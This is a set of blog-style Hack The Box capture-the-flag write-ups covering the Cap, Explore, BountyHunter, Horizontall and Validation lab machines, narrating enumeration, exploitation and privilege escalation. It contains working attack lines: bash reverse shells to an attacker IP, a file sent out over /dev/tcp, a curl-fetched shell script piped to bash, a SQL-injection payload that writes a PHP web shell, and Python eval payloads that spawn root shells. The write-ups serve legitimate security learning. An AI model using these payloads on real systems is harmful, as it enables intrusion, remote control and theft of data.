Hack The Box – Cap

Cap is an easy Linux machine created by InfoSecJack on Hack The Box and was released on 05 Jun 2021. Ahoy mateys! Welcome to Haxez where today I will commit mutiny by pillaging and plundering the Cap. This box requires web enumeration and packet capture analysis skills and will teach IDOR and exploiting Linux capabilities. Let’s set sail!

Cap Host Enumeration

Initially, I pinged the box to ensure that it was online. Once I had confirmed I could communicate with it, I started a Nmap scan. I scanned all ports requesting service versions and running default scripts. From the results, I learnt that ports 21 for FTP, 22 for SSH and 80 for HTTP were open. The FTP banner informed me that it was VSFTP version 3.0.3 so no smiley face vulnerability. The SSH banner revealed the server to Ubuntu. Lastly, the HTTP results reported that it was a Gunicorn web server which admittedly I didn’t know existed. However, performing a quick search reveals that it’s a Python webserver.

┌──(kali㉿kali)-[~/HTB/CAP]
└─$ sudo nmap -sC -sV -p- 10.129.229.43 --min-rate 10000 -oA cap
Cap Host Enumeration

Nmap should have identified if anonymous logins were allowed but I tried anyway. However, as you can see below, 503 login is incorrect. I will need some credentials before I’m able to access it.

┌──(kali㉿kali)-[~/HTB/CAP]
└─$ ftp 10.129.229.43
Cap FTP

Cap Web Application Enumeration

With FTP and SSH unlikely to be my foothold, I navigate to the web application. I’m not quite sure how to describe this application. It shows the IP configuration and Network status of the logged-in user. Furthermore, it has what appears to be a packet analysis page with the option to download a PCAP.

Cap Web Application Enumeration

Because FTP is a cleartext protocol, the PCAP could be useful. For example, If I were to run Wireshark on tun0 and then log in to the FTP service. The credentials I logged in with would be transmitted to the server in plaintext. Additionally, if someone were on the same network as me, they could intercept my traffic and steal my username and password.

Packet Analysis

Initially, I downloaded the available packet capture but after looking through it there wasn’t anything interesting. However, the URL was specifying the packet capture file number to download. For instance, if changed the number after the /data/ endpoint to 0, it would let me download the packet capture file named 0. This type of vulnerability is known as an IDOR or indirect object reference vulnerability. It’s where someone can access parts of the application that there not supposed to.

IDOR

Since the admin is usually the first user on the box, I changed the value to 0 and download the file. Next, I opened it with Wireshark and the Nathans FTP credentials were there waiting to be plundered. I could have filtered the packets by FTP if it was a larger packet capture, however, the credentials were the firs thing I noticed.

Wireshark PCAP

Cap Foothold

Initially, I thought to try and access the FTP but then a radical thought popped into my head, go hard or go home! Let’s go for the (insert sports metaphor). I tried to log in to SSH with the credentials and…. I’m in! Credential reuse is common even among IT professionals. This allowed me to capture the user.txt flag and establish a foothold on the box.

┌──(kali㉿kali)-[~/HTB/CAP]
└─$ ssh [email protected]
The authenticity of host '10.129.229.43 (10.129.229.43)' can't be established.
Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$ cat user.txt
e88▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓9f2

Authenticated Host Enumeration

First, I downloaded the latest copy of LinPEAS. Next, I span up a Python3 web server in the same directory as LinPEAS. I then used wget on the target box to download LinPEAS from my Python3 web server. Finally, I gave it executable permissions and ran it. As a result, I learnt that Python has the ability to setuid. If Python is owned by root then I should be able to use Python to set my user id to 0 thus giving me root.

Attack Box

Downloading LinPEAS and spawning webserver.

┌──(kali㉿kali)-[~/HTB/CAP]
└─$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20230402/linpeas.sh

┌──(kali㉿kali)-[~/HTB/CAP]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Target Box

Downloading, changing permissions and executing LinPEAS.

nathan@cap:~$ wget http://10.10.14.36/linpeas.sh
nathan@cap:~$ chmod +x linpeas.sh
nathan@cap:~$ ./linpeas.sh
LinPEAS

Cap Privilege Escalation

First things first, I checked to see if Python was owned by root and sure enough it was.

nathan@cap:~$ ls -laSH /usr/bin/python3.8                                                                                                                    
-rwxr-xr-x 1 root root 5486384 Jan 27 2021 /usr/bin/python3.8

Next, I started Python imported the os module and used it to set my ID to 0.

Python 3.8.5 (default, Jan 27 2021, 15:41:15) 
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)

Then I checked to see that it had set me to root by running whoami and id.

>>> os.system('whoami')
root
>>> os.system('id')
uid=0(root) gid=1001(nathan) groups=1001(nathan)

Finally, I spawned a shell and used it to capture the root.txt. flag.

>>> os.system('sh')
# cat /root/root.txt
037▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓06f

Cap Learnings

Cap was a great easy box which I believe I could have solved without a walkthrough. However, I do like reading through walkthroughs and watching IppSec’s video while solving boxes. There is always something new to learn from them. The initial foothold was fun and perfectly demonstrated the dangers of using plaintext FTP. I’m finding it difficult to put into words but it’s also a good example of why it’s important to look at the as a whole. Using one service to disclose information about another service, to then use that information to gain access to the host via another service. A lot of fun.

The privilege escalation was good and in my opinion, is how all easy boxes should be. I discovered it with LinPEAS and immediately had an idea of what I needed to do. Admittedly, I was going to write a script instead of just using Python directly because small brain! Despite not learning a great deal from this box, it did reinforce existing knowledge which I appreciate. Doing something once isn’t enough to be proficient at it so I’m always happy to practise existing skills. I thought this was a really fun box from InfoSecJack but this is the day you will always remember as the day you almost outsmarted Captain Haxez Sparrow.. or something. Thank you and farewell mateys!

Hack The Box – Explore

Explore is an easy Android box created by bertolis on Hack The Box and was released on 25th October 2021. Hello world, welcome to Haxez where today I will be explaining how to root the Android box named explore. This box suggests having basic network and Android enumeration skills and basic Metasploit usage skills. Through rooting this box you will learn basic Android exploitation skills.

Explore Enumeration

After spawning the box, I sent a ping request to ensure that it was online and that I could reach it. Once the box responded, I kicked off a Nmap scan targeting all ports, requesting service versions and running default scripts. As a result, I learnt that ports 2222 for SSH, 40443 for HTTP and 59777 for HTTP were open. Furthermore, port 5555 was showing as filtered but I had absolutely no idea what that was. Interestingly, the banner detection for port 59777 suggested that the service was Bukkit JSONAPI httpd for Minecraft game server. The SSH banner was also showing as Banna Studio.

┌──(kali㉿kali)-[~/HTB/Explore]
└─$ sudo nmap -sC -sV -p- 10.129.231.131 --min-rate 10000 -oA explore
Explore Enumeration

Performing a search for SSH Banana Studio revealed that this was an android box as the results were for Android Apps. Next, I performed a search for “Android port 40443” but didn’t discover much. Finally, I performed a search for “Android port 59777” and the results suggested that the port belonged to a file manager app. Furthermore, the second result was for a CVE on NIST.

Android Port 59777

Visiting the CVE result on NIST reports the following. The ES File Explorer File Manager application through 4.1.9.7.4 for Android allows remote attackers to read arbitrary files or execute applications via TCP port 59777 requests on the local Wi-Fi network. This TCP port remains open after the ES application has been launched once, and responds to unauthenticated application/json data over HTTP.

Exploiting ES File Explorer

I loaded up Metasploit and searched for ES File Explorer and the first result or result 0 was an auxiliary scanner module named es_file_explorer_open_port. I told Metasploit to use this module and then ran the info command which reported back the following. This module connects to ES File Explorer’s HTTP server to run certain commands. The HTTP server is started on app launch and is available as long as the app is open. Version 4.1.9.7.4 and below are reported vulnerable This module has been tested against 4.1.9.5.1.

I configured the remote host and left the default port and default auxiliary action configured. Running the exploit reported back that the name of the device was VMware Virtual Platform. It seemed like the exploit was working. The module has a bunch of options which you can see below.

Exploiting ES File Explorer

After going through several different options such as listing files, I decided to look at the pictures. I set the action to LISTPICS and ran the exploit. The results showed that there was a suspiciously named file called creds.jpg. For that reason, I changed the auxiliary action to GETFILE and change the ACTIONITEM to the path and name of the image and then ran the exploit.

msf6 auxiliary(scanner/http/es_file_explorer_open_port) > set ACTION GETFILE
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > set ACTIONITEM /storage/emulated/0/DCIM/creds.jpg
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > exploit
Metasploit

Explore Foothold

After downloading the file, I opened it and saw a set of credentials. The credentials appeared to belong to someone called Kristi and their password was, well see for yourself. I made a note of these and tried to SSH to the host with the credentials. Unfortunately, I ran into an error along the way.

Password Explore

As you can see below, I received the error “no matching host key type found”. After a quick search, I found an Ubuntu forum threat >>HERE<< which solved the problem. I probably should have known this as it was something that came up in an exam recently.

┌──(kali㉿kali)-[~]
└─$ ssh -p 2222 [email protected] -o PreferredAuthentications=password
Unable to negotiate with 10.129.231.131 port 2222: no matching host key type found. Their offer: ssh-rsa

Anyway, appending the Host Key Algorithms argument to my SSH command allowed me to authenticate to the host (after a few incorrect password attempts). Once on the box, I couldn’t find the user.txt file so I started enumerating. I used socket stats to check the listening services and found the 5555 port again. After another search, I learnt that this port is for Android Debug Bridge which I know from my attempts to root Android devices.

Listening Services

Explore Privilege Escalation

The Android Debug Bridge should allow me high-privilege access to the device if I can access the service. Therefore, I set up a local port forward through SSH. I had a bit of trouble getting this to work correctly but mostly due to my syntax being incorrect.

┌──(kali㉿kali)-[~]
└─$ ssh -L 5555:localhost:5555 [email protected] -p 2222 -o HostKeyAlgorithms=+ssh-rsa
Password authentication
([email protected]) Password:
:/ $

Next, I had issues connecting to the correct device. I was able to connect to adb ok but when trying to get a shell, I received an error message advising that there was more than one device. I have an emulator set up for another box I’m working on. Anyway, this was another syntax issue which was resolved after a quick search.

┌──(kali㉿kali)-[~]
└─$ adb -s 127.0.0.1:5555 shell
Explore ADB

Now that I could successfully connect to the device, it was time to disconnect and reconnect as root. Running adb root will restart adb and give me root permissions on the device. Once on the device as root, I was able to capture both the user and root flags.

┌──(kali㉿kali)-[~]
└─$ adb -s 127.0.0.1:5555 root
restarting adbd as root

┌──(kali㉿kali)-[~]
└─$ adb -s 127.0.0.1:5555 shell
x86_64:/ # whoami
root
x86_64:/ # cat /storage/emulated/0/user.txt
f32▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓250
x86_64:/ # cat /data/root.txt
f04▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓8c5
x86_64:/ #

Learnings

This was a nice easy box for first thing on a Monday morning. I ran into a few issues while solving it but nothing too difficult. The initial information-gathering phase was typical as I tend to perform a TCP scan on all ports regardless. The services would have thrown me off a bit had I not known this was an Android device going into it. I liked the initial “exploit” to get files as I remember having that application installed on one of my phones in the past.

The privilege escalation was fun as I got to practise local port forwarding but with a few complications. That took me a few attempts to get the syntax correct due to the host key algorithms. I also learnt how to use ADB from the Linux terminal which I hadn’t done before and how to get root through it. Overall, this was a nice box which taught me a few things about android. Thanks

Hack The Box – BountyHunter

BountyHunter is an easy Linux box created by ejedev for Hack The Box and was released on the 24th of July 2021. Hello world, welcome to haxez and if you want to know how to hack BountyHunter then, This Is The Way! To complete this box, it is recommended that you know Python and basic Linux. The skills obtained from hacking this box are XXE injection and Source code review.

BountyHunter Enumeration

After spawning the box, I pinged it to ensure that it was up and running. Following that, I performed a Nmap scan to identify listening services and service versions. As a result, I learnt that ports 22 for SSH and 80 for HTTP were open. Furthermore, the box had an Ubuntu operating system and was running Apache 2.4.41. As SSH was unlikely to be the attack vector, I went to take a look at the website.

┌──(kali㉿kali)-[~/HTB/BountyHunter]
└─$ sudo nmap -sC -sV -p- 10.129.95.166 --min-rate 10000 -oA BountyHunter
BountyHunter Enumeration

BountyHunter Web Application Enumeration

According to whatweb, the application was built using a combination of Bootstrap, HTML5 and Jquery. Additionally, whatweb verified some factors that Nmap discovered. Not much else was revealed from whatweb so I navigated to the application to investigate further.

┌──(kali㉿kali)-[~/HTB/BountyHunter]
└─$ whatweb -a3 http://10.129.95.166/ -v
BountyHunter Web Application Enumeration

The application was a fairly standard modern service information page. Scrolling through the content it appeared to be a website advertising a bug bounty hunting team. There was a contact form at the bottom of the page but it didn’t appear to function. There was also a link to an in-development Bounty Report System that was likely going to be the attack vector. The Bounty Reporting System was being loaded from a PHP file named log_submit.php so I now knew I was now dealing with PHP.

BountyHunter Web Application

Bounty Reporting System

I navigated to the Bounty Reporting System and submitted some test data to see how it was being processed. Initially, I received a message explaining that if the database was ready then the data would have been added. This told me that I probably wasn’t looking at an SQL injection vector.

Bounty Reporting System

Next, I checked the request in Burp to see how it was constructed. As shown below, the user-supplied data was sent as a POST request. Furthermore, the data was base64 encoded and added to the data parameter. Highlighting the base64 encoded data revealed that it was XML. This triggered my Spidey-Sense so I started looking for XML Entity Injection Payloads.

Burp

To test for XXE, I modified the existing XML and defined a new entity called payload. Next, I specified the value of the new entity as “haxez was here”. Finally, I added the payload entity to the title. If the application is vulnerable to XXE then “haxez was here” would be rendered in the title when the application responds.

As you can see from the screenshot below, the value of the payload parameter was rendered in the title thus confirming XXE.

Burp 2

Exploiting XXE

To make life easier, I stole the Python payload from IppSec’s youtube video and used it to retrieve the contents of the /etc/passwd file. All I need to do now is change the value of the fname variable to the file I wanted and the Python script will retrieve it for me. As you can see from the screenshot, it successfully retrieved the /etc/passwd file. If IppSec did a “coding with IppSec” spin-off channel, I would be hooked.

In short, the script takes the XXE payload but replaces the filename with the fname variable. It then encodes it to base64 and sends it to the application. Next, it uses the split function to format the output nicely and then base64 decodes the output. The reason why it needs to base64 decode the output is that we’re first converting the file to base64 to avoid bad characters such as the less than and greater than symbols. Awesome!

BountyHunter code
Python Exploit /etc/passwd

I now had a working exploit to retrieve PHP files from the host but going through the output of the files found in Burp didn’t reveal much. I ran gobuster to enumerate the application’s directories and files and found the database configuration file named db.php.

┌──(kali㉿kali)-[~/HTB/BountyHunter]
└─$ gobuster dir -u http://10.129.95.185 -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words.txt -x php,txt,html -o gobuster.out
Database PHP File

BountyHunter Foothold

Using the Python exploit, I retrieved the /etc/passwd and db.php files. Looking through the /etc/passwd file, I noticed that only 2 users had a shell (root and development). Analysis of the db.php revealed that the database username was admin and the password was ‘m19RoAU0hP41A1sTsq6K’

BountyHunter Database Connection String

I added the root and development users to a text file named users.txt and then used crackmapexec to password-spray those users with the database password. This could have also been done with Hydra by supplying a usernames list and the fixed password but crackmapexec is awesome. From the results, I learnt that the developer account was reusing the password for the database. Admittedly, this was a bit overkill but if you had a list of 1000 users, you wouldn’t want to try them all manually.

Crackmapexec SSH Password Test

I could now log in via SSSH as the development user and grab the user flag.

┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
development@bountyhunter:~$ cat user.txt
1d3▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓e7f

Authenticated Host Enumeration

The first thing I ran was sudo -l to see if I could run anything with sudo privileges. This could be an easy win on any box. From the results, I learnt that the development user could run a Python script named ticketValidator.py.

It was time to perform some code analysis. Please note that I’m terrible at Python and will do a horrible job of explaining what the script is doing. At the top of the script, a function named load_file is defined. The function has an if statement to check if the file ends with .md. If not the script will return the error “Wrong file type”. I now know that my file needs to end with .md.

BountyHunter Skytrain Script

Next, there is a function named evaluate which verifies several parameters within the file. This is a large function so I will break it down step by step.

  • The first line needs to start “# Skytrain Inc”.
  • The second line needs to start “## Ticket to “, and have a space after to.
  • The third line needs to start “__Ticket Code:__”.
  • The next line needs to start “**”.
  • Then there a maths calculation which I will come back to later.
  • If those conditions are met then it’s passed to eval which may allow code execution.
Skytrain script

Crafting An Exploit

I attempted to eyeball the exploit but that resulted in a bunch of errors so the next logical step was to steal the source code and run it locally. That way I can debug the payload as I run it through the script. First I created a netcat listener and told it to save all output to a file called ticketValidator.py.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 1337 > ticketValidator.py

Next, I cat the contents of the file on the target host and sent the output to my netcat listener.

development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py > /dev/tcp/10.10.14.36/1337

I then opened the file with codium and ran it. I supplied the path to my inject.md payload and it produced an error on the line performing the “% 7–4” calculation. This was because there is a requirement for a space which you can see with ‘split(“+”)[0]’. As you can see in the terminal window, this didn’t output “hello world” so my payload wasn’t being executed. FYI, I’m terrible at this.

More Code

To fix this, I edited the inject.md file and added the plus symbol after 11.

# Skytrain Inc
## Ticket to
__Ticket Code:__
**11+print("hello world")

Now when I reran the script, it still errored but it executed my payload.

More code

Next, I tested for code execution and this is where I struggled a bit. However, the payload below works fine. As you can see from the output, it successfully ran the id command and return our user’s id values. Now, I should be able to change the id command to bash so that when the ticket is processed, it runs bash as root and gives me a root shell.

# Skytrain Inc
## Ticket to
__Ticket Code:__
**11+eval('11+__import__("os").system("id")')
BountyHunter Exploit Code

BountyHunter Privilege Escalation

To elevate my privileges I used the following payload.

# Skytrain Inc
## Ticket to
__Ticket Code:__
**11+eval('11+__import__("os").system("bash")')

I saved this to a file called inject3.md and then ran the ticketValidator.py script with sudo and specified the inject3.md file. Sure enough, this spawned a bash shell as root and allowed me to capture the root.txt flag.

development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
inject3.md
Destination:
root@bountyhunter:/home/development# cat /root/root.txt
bf2▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓e1e

BountyHunter Learnings

BountyHunter was a fun box and help me understand XML entity injection better. I think I’ve only completed a few boxes that required XXE but I’ve taken long breaks so may have forgotten. I believe that I understand it now and can craft payloads (provided I have notes). However, I’m sure that I will run into another brick wall once I move on to medium boxes and the applications start validating input a bit more. Overall, the foothold was a lot of fun and was well within my current capabilities.

The privilege escalation on the other hand was an entirely different beast. I can say with 100% certainty that I wouldn’t have solved this without a walkthrough. Despite finding the script and recognising that eval equals bad, I wouldn’t have been able to construct the payload. My code analysis skills are nonexistent so trying to identify the specifics required to create a valid ticket would have defeated me. The invalid tickets didn’t help me either although I’m sure they helped others. This isn’t a criticism of the box at all, the box was great. It highlighted an area that I’m struggling with. I hope that exposure will help me improve but at present, I don’t see a path forward without taking a step back and learning to code. I tend to miss the small details like requiring spaces. Anyway, thanks for the box.

Hack The Box – Horizontall

Horizontall is an easy Linux box created by wall99 on Hack The Box and was released on the 28th Aug 2021. Hello world, welcome to haxez where today I will be going through how I hacked Horizontall. To complete this box it is suggested that you have basic Web Enumeration, Linux Enumeration, and SSH Knowledge. The lessons from this box are Source Code Review and Port Forwarding.

Horizontall Enumeration

To ensure that the box was online and that I could talk to it, I sent a ping request. Since the box responded, I performed a Nmap scan against all ports, with default scripts and requested service versions. As a result, I learnt that ports 22 for SSH and 80 for HTTP were open.

Horizontall Enumeration

Horizontall Application Enumeration

Navigating to the IP address in my browser, I was redirected to the domain horizontall.htb. However, as this domain name doesn’t resolve through DNS I received an error from Burp.

Burp Error

To fix this, I echoed the box’s IP address and domain name into my host’s file. As a result, when visiting the domain name the application loaded as expected. The web application appeared to be a commercial website for a website development company. However, the website wasn’t functional as the links and the contact us form didn’t work.

┌──(kali㉿kali)-[~]
└─$ echo "10.129.234.11 horizontall.htb" | sudo tee -a /etc/hosts
Application Enumeration

Next, I ran whatweb but it didn’t reveal much about the application that Nmap hadn’t already told me. It told me the server was Ubuntu and that the web server was nginx.

┌──(kali㉿kali)-[~]
└─$ whatweb http://horizontall.htb/
whatweb

I ran 2 gobuster scans, 1 to look for directories and 1 to look for virtual hosts but unfortunately, neither produced anything interesting. Maybe I’m running gobuster incorrectly for virtual hosts. I believe there is an –append-word argument that needs to be added but I get an error when doing that. I will have to look into that this evening.

┌──(kali㉿kali)-[~]
└─$ gobuster vhost -w /media/sf_OneDrive/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://horizontall.htb -o vhostgobuster.txt -t 50
gobuster

However, ffuf does find the virtual host. I filtered by a file size of 194 because that was the file size of the generic error response. I’m doing something wrong with gobuster. Since I wouldn’t have found the virtual host, I’m going to ignore these results and continue enumerating. I’m going to search the academy for gobuster this evening.

┌──(kali㉿kali)-[~]
└─$ sudo ffuf -u http://horizontall.htb/ -H "Host: FUZZ.horizontall.htb" -w /media/sf_OneDrive/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -fs 194
ffuf

Return To The Source

It’s where one must go when they’ve run out of ideas. As you can see below, there were references to Cascading Style Sheet files and Javascript files. I decided to take a look at the Javascript files to see if they contained anything interesting.

source code

However, the way the browser rendered the code was horrible so I went to https://beautifier.io/ and pasted in the Javascript. Skimming through the code, I noticed a function called getReviews which pointed to the subdomain api-prod.

new virtual host

API Virtual Host Enumeration

After adding the new virtual host to my host file, I navigated to it in my browser. There wasn’t much to look at other than a welcome message.

api welcome message

I’m pleased to say that gobuster worked for directory brute forcing. It seems there were 3 subdirectories.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://api-prod.horizontall.htb/ -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
gobuster

I navigated to the admin directory which rendered a login page. The page revealed that the technology in use was strapi. Next, I visited the reviews page which returned a JSON response from the server showing reviews of the product.

strapi

Following the discovery of the technology, I searched for exploits on Exploit Database and found an RCE. In short, the exploit performs a password reset. It’s written in Python and exploits the vulnerability with the CVE designation CVE-2019-18818. The CVE description explains the following.

strapi before 3.0.0-beta.17.5 mishandles password resets within packages/strapi-admin/controllers/Auth.js and packages/strapi-plugin-users-permissions/controllers/Auth.js.

Therefore, I navigated to the /admin/init endpoint to retrieve the service version to determine whether it was vulnerable. The API reported back that it was version 3.0.0-beta.17.4 which suggested it should be.

Horizontall Version

Horizontall Foothold

Don’t you just love it when an exploit just works without having to tinker with it? I copied the code and recreated it locally in a file called exploit.py. Next, I used Python3 to run the code and fed it the URL of the application. Almost immediately, the exploit told me that the password was reset successfully.

┌──(kali㉿kali)-[~/HTB/Horizontall]
└─$ python3 exploit.py http://api-prod.horizontall.htb/
Horizontall Shell

Just like that, I had code execution and could send myself a reverse shell. First, I set up a netcat listener on my attack box. Next, I ran the following command in the shell on the target machine. Finally, I landed on the box as the strapi user and was able to grab the user flag.

bash -c 'bash -i >& /dev/tcp/10.10.14.36/9001 0>&1'

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 9001
[sudo] password for kali:
listening on [any] 9001 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.234.11] 46802
strapi@horizontall:~/myapi$ ls /home
ls /home
developer
strapi@horizontall:~/myapi$ cat /home/developer/user.txt
cat /home/developer/user.txt
6e7▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓dc0
strapi@horizontall:~/myapi$

Horizontall Authenticated Enumeration

First, I wanted to establish persistence on the host so I created a .ssh directory in /opt/strapi/.ssh. Next, I created an SSH key using ssh-keygen and echoed the public key into the authorized_keys file. Finally, I gave the SSH private key 600 permissions and used it to SSH to the host. Once I was back on the host I enumerated the listening services and discovered that port 8000 and MySQL were listening locally.

Horizontall listening services

First, I decided to try and get access to MySQL. Starting at the /opt/strapi/ directory, I ran a recursive grep for the word password but was bombarded with noise. After jumping around a few directories I finally found the database password.

strapi@horizontall:~/myapi/config$ grep -R password
environments/production/database.json: "password": "${process.env.DATABASE_PASSWORD || ''}",
environments/development/database.json: "password": "#J!:F9Zt2u"
environments/staging/database.json: "password": "${process.env.DATABASE_PASSWORD || ''}",

As a result, I was able to log in to the MySQL database as the development user but this appeared to be a dead end. I queried the database and dumped the contents of the various user tables but couldn’t find any hashes other than the administrators.

Administrator hash

Laravel

Since MySQL was a dead end, I moved on to see what was listening on port 8000. Using SSH, I performed local port forwarding so that I could access port 8000 via localhost:1234. Upon visiting that port I found a Laravel application.

┌──(kali㉿kali)-[~/HTB/Horizontall]
└─$ ssh -L 1234:localhost:8000 -i key [email protected]
Horizontall Laravel

I ran gobuster to discover directories and was able to identify the /profiles directory. However, the box crapped out shortly after and killed my tunnel.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://localhost:1234/ -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words.txt
gobuster

I recreated the tunnel and navigated to the profiles directory. The application appeared broken and had visual debugging enabled. Searching Google for Laravel Debug exploits resulted in finding this payload >>HERE<< which I recreated locally.

Horizontal debugging

Horizontall Privilege Escalation

Then, I ran the exploit using the syntax below and the results indicated that Laravel was running as root. I was almost there, all I needed to do now was craft a reverse shell and send it back to myself.

┌──(kali㉿kali)-[~/HTB/Horizontall/laravel]
└─$ python3 exploit.py http://localhost:1234 Monolog/RCE1 id
Horizontall id command

I was close to getting it right the first time. You can see from the screenshot below the different payloads I tried before resuming IppSec’s video. I attempted the first two on my own before resuming the video but as soon as he said curl, I paused it again and executed the payload myself. Little victories.

Reverse shell

I created a shell script which contained the following bash script. I then used the exploit with curl to download the file which I then piped to bash to execute it.

┌──(kali㉿kali)-[~/HTB/Horizontall]
└─$ cat shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.36/9002 0>&1

Below, you can see the exact command I used. It needed to be enclosed in single quotation marks. If medium will let me include it that is.

Horizontall Exploit

This connected back to my netcat listener and allowed me to capture the root flag.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.234.11] 42330
bash: cannot set terminal process group (65829): Inappropriate ioctl for device
bash: no job control in this shell
root@horizontall:/home/developer/myproject/public# cat /root/root.txt
cat /root/root.txt
19c▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓8f4
root@horizontall:/home/developer/myproject/public#

Horizontal Learnings

There was certainly a lot to learn from this one. I’m starting to understand the difference between difficult and time-consuming boxes. The time it takes to own a box doesn’t necessarily equate to the difficulty. This box took me a long time to complete but it wasn’t that difficult. Owning this box required exploiting publically known vulnerabilities with available exploits. In my opinion, that is exactly what an easy box should be. It did require a lot of enumeration and knowing what to look for.

I enjoyed this box a lot, it let me practise techniques I’m familiar with. It introduced me to technologies I hadn’t used before and their vulnerabilities. Furthermore, it also highlighted areas where I need to invest time to improve. Admittedly, I was worried that the different exploits weren’t going to work but I was pleasantly surprised. Overall, this was a great box which I’m probably going to revisit to get a better understanding.

Hack The Box – Validation

Validation is an easy Linux virtual machine created by IppSec on Hack The Box and I’m going to hack it. Hello world, welcome to Haxez where today I will be explaining how I hacked Validation. To hack this box you will need web enumeration and SQL injection skills.

Validation Host Enumeration

First, I connected to the VPN and spawned the machine through the Hack The Box control panel. Next, I pinged the box to ensure that it was online and that I could talk to it. Following that, I exported the IP address to a variable called ‘validation’ and scanned it. Using Nmap, I scanned the host for all ports, running default scripts and requesting service versions. As a result, you can see that the host had port 22 for SSH, port 80 for HTTP (Apache) and port 4566 for HTTP (Nginx) open.

┌──(kali㉿kali)-[~/HTB/Validation]
└─$ export validation="10.129.95.235"
┌──(kali㉿kali)-[~/HTB/Validation]
└─$ sudo nmap -sC -sV -p- $validation -oA validation
Validation Host Enumeration

SSH was unlikely to be the intended attack vector so I loaded up Burp and launched the built-in browser. Next, I navigated to the IP address of the box and was presented with a UHC September Qualifiers registration page.

Validation Web Application Enumeration

The application lets you submit a name to register for the UHC September Qualifiers. Furthermore, the names of the players from the submitted country are then included in the response. For that reason, I suspected that the application might be vulnerable to SQL Injection.

Validation Web Application Enumeration

Therefore, I saved the POST request to a file and fed it to ‘sqlmap’. You can see from the results below that ‘sqlmap’ doesn’t believe the parameters were injectable. I’m quite surprised that ‘sqlmap’ didn’t find it as the application does produce an SQL error when doing it manually. It could be because it is second-order SQL injection but I honestly don’t know. I’m going to read through the HackTricks article this evening. IppSec also has a video where he discusses creating middleware to make ‘sqlmap’ work so I might take a look at that at the end.

SQLMAP

Admittedly, due to a lack of understanding or laziness, I probably wouldn’t have poked at this further until I saw the error message. However, I captured the registration POST request with Burp and sent it to ‘repeater’. Next, I added a single quotation mark to the end of the value of the country parameter. I sent the request but didn’t see any SQL errors in Burp. At first, I thought it was because of my cookie settings but I had session cookies enabled for ‘repeater’. However, as you can see from the image below, the SQL injection did break the syntax of the SQL statement.

username=haxez&country=United+Kingdom'
SQL Error

Exploiting SQL Injection

The process to test this is as follows. First, capture a registration POST request. Second, append the single quotation character to the value of the country parameter. Third, send the request and copy the value of the cookie in the 302 response. Fourth, paste the value of the cookie in your current cookie and refresh the page. The results should show that the parameter is injectable. I used this vulnerability to write a PHP web shell to the ‘/var/www/html/’ directory.

username=shell&country=United+Kingdom' union select "<?php SYSTEM($_REQUEST['cmd']) ?>" INTO OUTFILE '/var/www/html/shell.php'-- -
PHP Web Shell

I then visited ‘http://10.129.234.49/shell.php?cmd=id’ in my browser which responded with the information of the user that the webserver was running as.

User id returned

Validation Foothold

I took the request to ‘shell.php’ from Burp’s HTTP history and sent it to ‘repeater’. Next, I converted the request method from a GET to a POST. Then I set up a netcat listener on port 9001 and crafted a reverse shell payload in the POST request. Finally, I URL encoded the payload by highlighting it and pressing ‘CTRL+U’ and sent it. Then I got that feeling that you get when the response hangs… success.

cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.36/9001+0>%261'
Reverse Shell

The reverse shell had successfully connected back to my machine and I now had a foothold on the box as ‘www-data’.

Netcat Listener

Validation Pillaging and Privilege Escalation

It’s time to pillage! now that I had access to the box, I could look for privilege escalation methods. All database-powered websites have a database connection configuration file. For example, WordPress has ‘wp-config.php’ which contains the username and password of the database user. Validation’s configuration file was called config.php. The database connection configuration file for this web application was named config.php. Within that configuration file were the credentials for the database.

$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-▓▓▓▓▓▓▓▓▓▓-pw";
$dbname = "registration";

I used the password to switch user to the root user and was able to capture both the user and root flags.

cat /root/root.txt
078▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓f57
ls /home
htb
cat /home/htb/user.txt
904▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓0d3

Middleware for SQLMap

I watched IppSec’s video walkthrough of this box, specifically the application middleware section. He believes that ‘sqlmap’ couldn’t find the vulnerability due to the username. However, he creates a solution that makes it work using a Python Flask application. Since the whole purpose of these write-ups is for me to learn, I decided to copy him.

Personal Rant

